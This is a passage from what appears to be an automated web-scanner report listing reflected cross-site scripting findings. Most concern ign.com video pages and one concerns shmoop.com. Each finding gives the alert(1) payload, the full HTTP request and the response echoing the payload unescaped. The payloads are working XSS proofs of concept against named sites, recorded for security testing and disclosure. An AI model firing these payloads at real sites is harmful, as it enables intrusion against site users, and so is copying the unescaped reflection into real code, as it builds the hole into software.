<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/02/04/ign-daily-fix-020411?90ec8<script>alert(1)</script>744ad6886ec=1</div>
...[SNIP]...

3.665. http://www.ign.com/videos/2011/02/04/ign-weekly-wood-020411 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/ign-weekly-wood-020411

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 233cd'-alert(1)-'6f961008018 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011233cd'-alert(1)-'6f961008018/02/04/ign-weekly-wood-020411 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:05 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:05 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=3683ec6375f8961ccdb26fb0eea9f8d5; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f100e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44987

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
("#nav-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011233cd'-alert(1)-'6f961008018/02/04/ign-weekly-wood-020411';
   }
   </script>
...[SNIP]...

3.666. http://www.ign.com/videos/2011/02/04/ign-weekly-wood-020411 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/ign-weekly-wood-020411

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c1cd8'-alert(1)-'68f26be6f4d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/02c1cd8'-alert(1)-'68f26be6f4d/04/ign-weekly-wood-020411 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=e4824a7a5925ed523c6ae5e44d627424; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44987

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
nav-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/02c1cd8'-alert(1)-'68f26be6f4d/04/ign-weekly-wood-020411';
   }
   </script>
...[SNIP]...

3.667. http://www.ign.com/videos/2011/02/04/ign-weekly-wood-020411 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/ign-weekly-wood-020411

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fd868'-alert(1)-'5ff66a82c4c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/02/04fd868'-alert(1)-'5ff66a82c4c/ign-weekly-wood-020411 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:32 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:32 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=1735122b76f3bd06468d247b2b644c3b; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44987

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/02/04fd868'-alert(1)-'5ff66a82c4c/ign-weekly-wood-020411';
   }
   </script>
...[SNIP]...

3.668. http://www.ign.com/videos/2011/02/04/ign-weekly-wood-020411 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/ign-weekly-wood-020411

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 85209'-alert(1)-'65262f7abfd was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/02/04/ign-weekly-wood-02041185209'-alert(1)-'65262f7abfd HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:33 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:33 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=bc843940c2179f2515f89487e54b7d82; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f102045525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44521

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
).after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/02/04/ign-weekly-wood-02041185209'-alert(1)-'65262f7abfd';
   }
   </script>
...[SNIP]...

3.669. http://www.ign.com/videos/2011/02/04/ign-weekly-wood-020411 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/ign-weekly-wood-020411

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cc232'-alert(1)-'841e60b0323 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/02/04/ign-weekly-wood-020411?cc232'-alert(1)-'841e60b0323=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:09:51 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:09:51 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=03a37ce8545bd97b680c11b2d96d7ee3; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103045525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 83871

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
.after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/02/04/ign-weekly-wood-020411?cc232'-alert(1)-'841e60b0323=1';
   }
   </script>
...[SNIP]...

3.670. http://www.ign.com/videos/2011/02/04/ign-weekly-wood-020411 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/ign-weekly-wood-020411

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload f9932<script>alert(1)</script>1dbecc42743 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/02/04/ign-weekly-wood-020411?f9932<script>alert(1)</script>1dbecc42743=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:10:02 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:02 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=434c1bda5ae59c8106f93c0fc3b81b48; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103345525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 83916

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/02/04/ign-weekly-wood-020411?f9932<script>alert(1)</script>1dbecc42743=1</div>
...[SNIP]...

3.671. http://www.ign.com/videos/2011/02/04/madden-nfl-11-super-bowl-simulation [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/madden-nfl-11-super-bowl-simulation

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a631d'-alert(1)-'41c81cffc2d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/02/04/madden-nfl-11-super-bowl-simulationa631d'-alert(1)-'41c81cffc2d HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:00 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:00 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=f04de2dc5937c6848e6668ec9d1f319d; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f100e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44534

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
;
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/02/04/madden-nfl-11-super-bowl-simulationa631d'-alert(1)-'41c81cffc2d';
   }
   </script>
...[SNIP]...

3.672. http://www.ign.com/videos/2011/02/04/madden-nfl-11-super-bowl-simulation [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/madden-nfl-11-super-bowl-simulation

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 6529b<script>alert(1)</script>44aa319633c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/02/04/madden-nfl-11-super-bowl-simulation?6529b<script>alert(1)</script>44aa319633c=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:10:37 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=08ded0e6a87a896335179664dea66099; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103f45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 86641

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/02/04/madden-nfl-11-super-bowl-simulation?6529b<script>alert(1)</script>44aa319633c=1</div>
...[SNIP]...

3.673. http://www.ign.com/videos/2011/02/04/madden-nfl-11-super-bowl-simulation [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/madden-nfl-11-super-bowl-simulation

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 145eb'-alert(1)-'0d3e00f9ce8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/02/04/madden-nfl-11-super-bowl-simulation?145eb'-alert(1)-'0d3e00f9ce8=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:10:25 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:25 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=176a4c96b43b19443f2a4e4f42085763; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f102145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 86584

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...

           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/02/04/madden-nfl-11-super-bowl-simulation?145eb'-alert(1)-'0d3e00f9ce8=1';
   }
   </script>
...[SNIP]...

3.674. http://www.shmoop.com/news/2010/09/21/famous-quotes-translated-lolcat/ [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.shmoop.com
Path:	/news/2010/09/21/famous-quotes-translated-lolcat/

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b944"><script>alert(1)</script>83a75121f32 was submitted in the REST URL parameter 5. This input was echoed as 5b944\"><script>alert(1)</script>83a75121f32 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news/2010/09/21/famous-quotes-translated-lolcat5b944"><script>alert(1)</script>83a75121f32/ HTTP/1.1
Host: www.shmoop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Mon, 07 Feb 2011 02:16:06 GMT
Server: Apache/2.2.8 (CentOS)
X-Powered-By: PHP/5.2.10
X-Pingback: http://www.shmoop.com/news/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Mon, 07 Feb 2011 02:16:06 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12942

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xm
...[SNIP]...
<link rel="canonical" href="http://www.shmoop.com/news/2010/09/21/famous-quotes-translated-lolcat5b944\"><script>alert(1)</script>83a75121f32/" />
...[SNIP]...

3.675. http://www.shmoop.com/news/wp-includes/js/jquery/jquery.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
